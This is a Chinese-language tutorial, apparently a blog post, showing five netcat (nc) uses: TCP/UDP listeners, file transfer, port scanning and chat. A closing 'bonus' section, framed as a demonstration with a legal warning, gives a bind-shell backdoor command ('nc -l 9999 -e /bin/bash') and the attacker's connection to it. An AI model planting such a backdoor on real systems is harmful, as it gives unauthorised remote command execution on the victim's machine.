Linux 中的 nc 命令:5 个实际示例Linux 中的 nc 命令:5 个实际示例Linux 中的 nc 命令:5 个实际示例Linux 中的 nc 命令:5 个实际示例
  • 业务
  • 目标
  • 支持
  • 登录
找到的结果: {phrase} (显示: {results_count} 共: {results_count_total})
显示: {results_count} 共: {results_count_total}

加载更多搜索结果...

搜索范围
模糊匹配
搜索标题
搜索内容

Linux 中的 nc 命令:5 个实际示例

发表 admin at 2025年2月28日
类别
  • 未分类
标签

您可以按照以下一些实际示例来了解如何在 Linux 中使用 netcat 命令。

Netcat 是一款功能强大且多功能的网络工具,适用于 Linux、Mac 和 Windows 计算机。它使用简单,对于每个对网络通信感兴趣的人来说都是必备的学习工具。

Netcat的核心功能是允许两台计算机连接并共享资源。这个名字是network和concatenate的组合,这是一个将事物连接在一起的奇特词。

可以通过 TCP 或 UDP 端口在机器之间直接建立连接。一旦建立,就会有许多潜在的用例。通信可以双向进行,因此文件或信息可以从侦听器移动到客户端,或从客户端移动到侦听器。

Netcat因其广泛的功能而被称为IT“瑞士军刀”。它可用于简单的文件发送、聊天、网络服务、远程运行代码。该列表广泛且多样。

我将在本文中重点介绍一些更常见的应用程序。

众所周知,netcat 可用于创建“后门”访问。我将解释它是如何工作的,但请记住,由于它可能被恶意使用,它不再是数控软件的一部分。

Netcat (nc) 命令示例

以下是 nc 命令的语法:

nc [options] [hostname] [port]

语法可能因应用程序而异,但对于大多数用途,您的命令将遵循此基本模式。

让我们来看看

1. 使用 TCP 和 netcat 命令创建连接

正如我之前提到的,netcat 的核心功能是将两台机器连接在一起。您可以使用 TCP 建立连接来连接两台单独的计算机,也可以使用终端模拟该连接。

聆听机:

nc -l 8080

此命令打开端口 8080 并告诉机器开始侦听该端口。

为了建立连接,您将使用另一个终端并输入以下内容。

客户端机器:

nc 127.0.0.1 8080

您还可以使用“localhost”代替 IP,或者如果您要进行远程连接,则在此处使用第二台 PC 的 IP。

就这样,您已经打开了一个 TCP 端口并在两个系统之间建立了连接。

TCP 与 UDP 快速介绍

为什么我们默认使用TCP? TCP 是比 UDP 更古老的技术,它们在 OSI 模型的不同级别上运行。我将快速概述它们之间的差异,并描述一些您可以选择其中一种的情况。

TCP具有很强的纠错能力。这意味着什么?基本上,这意味着当数据包在系统之间传输时,会执行连续的测试。这些测试可确保系统 A 中的信息准确复制到系统 B。这是信息在网络(互联网)上传输时所发生情况的非常简化的版本。

然而,互联网通信中使用了许多协议,而不仅仅是 TCP。 UDP 具有与 TCP 不同的规则。两者都不一定“更好”,但它们各自可以擅长执行不同的任务。

为什么我们要在 TCP 上使用 UDP,反之亦然?这取决于应用程序。 TCP 速度较慢,但准确传输数据更可靠。

在速度比传输信息的可靠性更重要的情况下可以选择UDP。其中一个例子是流数据,例如视频。通过UDP可以更快地传输视频,即使传输出现错误,也不太可能影响用户体验。

2. 使用 UDP 和 nc 命令创建连接

建立 UDP 连接的步骤实际上与我们已经遵循的步骤相同。您将添加一个选项标志来指定要打开的端口类型是 UDP,而不是默认的 TCP。

nc -l -u 999

就是这么简单。这就是打开 UDP 端口“999”所需要做的全部工作。

您可能想知道是否可以使用具有相同端口号的 TCP 和 UDP。你可以,因为它们是单独的协议。

3.使用nc命令在远程系统之间传输文件

还有其他方法可以将文件从一个系统传输到另一个系统。您还可以使用 netcat 命令来实现此目的。

对于此示例,我创建了一个演示,演示从 Linux 计算机到 MacBook Pro 的远程文件传输。

设置Linux PC进行接收

nc -l 9999 > fromMac.file

您开始在接收计算机上侦听 TCP 端口 9999。“>”告诉计算机您正在等待传输文件。后面的名称是文件的本地名称。

设置 Mac PC 进行发送

nc 172.20.1.168 9999 < toLinux.file

这里的IP地址属于Linux机器。您将符号翻转为“<”,文件“toLinux.file”将作为“fromMac.file”复制到远程计算机上。

这是使用两台不同机器发送文件的示例。

4.使用nc命令进行端口扫描

可能有更有效的端口扫描选项,但可以使用 netcat 来完成。由于 netcat 默认安装在大多数操作系统上,因此如果您需要进行一些快速故障排除,那么了解如何执行此操作会很有帮助。您将使用“-n”并显示详细输出。

nc -v -n 127.0.0.1 1-100

这会尝试与 1-100 之间的端口建立连接。相信很多人都知道,80 端口是 HTTP。该端口通常在计算机上打开,因为它用于连接到互联网。

当我使用此命令时,我实际上是在尝试连接到 1-100 之间的所有端口。它成功连接到端口 80,但从 Apache 生成错误消息。我最终在终端上得到了一些 HTML 输出,因为我的计算机将其视为错误的页面请求。

[...]
nc: connect to 127.0.0.1 port 77 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 78 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 79 (tcp) failed: Connection refused
Connection to 127.0.0.1 80 port [tcp/*] succeeded!

HTTP/1.1 400 Bad Request
Date: Fri, 20 Dec 2019 15:08:29 GMT
Server: Apache/2.4.38 (Ubuntu)
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Ubuntu) Server at pop-os.localdomain Port 80</address>
</body></html>

零输入/输出模式

为了避免这种情况,您可以使用 -z 标志,它代表零输入/输出。这是 netcat 的内置端口扫描模式。我仍然得到相同的语言,但它实际上并没有连接到端口 80,从而生成错误请求错误。相反,它会继续通过所有扫描的端口。

5.与Netcat聊天

这是使用 netcat 的一种更有趣的方式。当您像上面那样建立 TCP 连接时,您实际上可以在机器之间“聊天”。在短信和聊天应用程序无处不在的时代,这并不新鲜,但如果放在 1996 年,这绝对会让某人大吃一惊。

这是一个动画,显示我从一个终端到另一个终端的通话。

很酷,对吧?

额外提示:使用 nc 命令创建后门

我将仅出于演示目的展示此内容。请注意,在您所在的地区,未经授权使用此命令可能被视为犯罪活动。

事实上,这个命令不再对‘nc’做任何事情。有很多方法可以做到这一点,但您必须在其他地方找到它们。再次强调,这只是为了展示该功能。

-e 标志使某些内容可执行。恶意行为者获取访问权限的常见方法是在开放端口上创建此类后门,并使用它来执行脚本或以其他方式操纵文件系统。

因此,如果攻击者以某种方式获得了对“受害者”机器的访问权限,他/她可以创建一个像这样的后门:

nc -l 9999 -e /bin/bash

现在攻击者可以利用这个后门远程访问系统并执行命令。因此,从攻击者的系统:

nc 192.168.1.10 9999
ls
Desktop
Documents
Downloads
Music 
Pictures
Public
Templates
Videos
firefox linux教程

这使得攻击者能够从命令行远程访问您的计算机。连接后,我可以运行 bash 命令,就像直接使用计算机一样。

我相信你可以想象一个没有最好意图的人会如何滥用这种权力。这使得监控任何网络上的端口活动都非常重要。

我希望您喜欢这个对 netcat 命令的简短介绍。一如既往,请在评论部分告诉我们您的想法。

©2015-2025 Norria support@norria.com